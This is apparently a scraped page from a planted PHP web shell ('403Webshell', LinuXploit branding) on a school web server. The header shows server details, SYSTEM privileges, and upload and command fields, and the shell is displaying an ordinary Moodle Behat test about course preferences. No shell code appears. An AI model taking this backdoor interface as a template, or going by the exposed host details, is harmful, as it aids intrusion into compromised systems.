403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/tuprblearn/user/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/tuprblearn/user/tests/behat/course_preference.feature
@core @core_user
Feature: As a user, "Course preferences" allows me to set my course preference(s).
  Background:
    Given I log in as "admin"
    And the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1 | topics |
    And the following "course enrolments" exist:
      | user | course | role |
      | admin | C1 | editingteacher |
    And I am on site homepage
    And I follow "Preferences" in the user menu
    And I follow "Course preferences"

  @javascript
  Scenario: As a user, "activity chooser" should be the default.
    # See that the "activity chooser" is enabled by default.
    Given the field "enableactivitychooser" matches value "1"
    # See that the "activity chooser" is actually shown by default in course page.
    When I am on "Course 1" course homepage
    And I should not see "Add an activity or resource" in the "Topic 1" "section"
    And I turn editing mode on
    Then I should see "Add an activity or resource" in the "Topic 1" "section"
    And I should not see "Add a resource..." in the "Topic 1" "section"

  @javascript
  Scenario: As a user, "activity chooser" should be disabled when I uncheck it in "Course preferences"
    Given I set the field "enableactivitychooser" to "0"
    And I press "Save changes"
    When I am on "Course 1" course homepage
    And I should not see "Add a resource..." in the "Topic 1" "section"
    And I turn editing mode on
    Then I should see "Add a resource..." in the "Topic 1" "section"
    And I should not see "Add an activity or resource" in the "Topic 1" "section"

Youez - 2016 - github.com/yon3zu
LinuXploit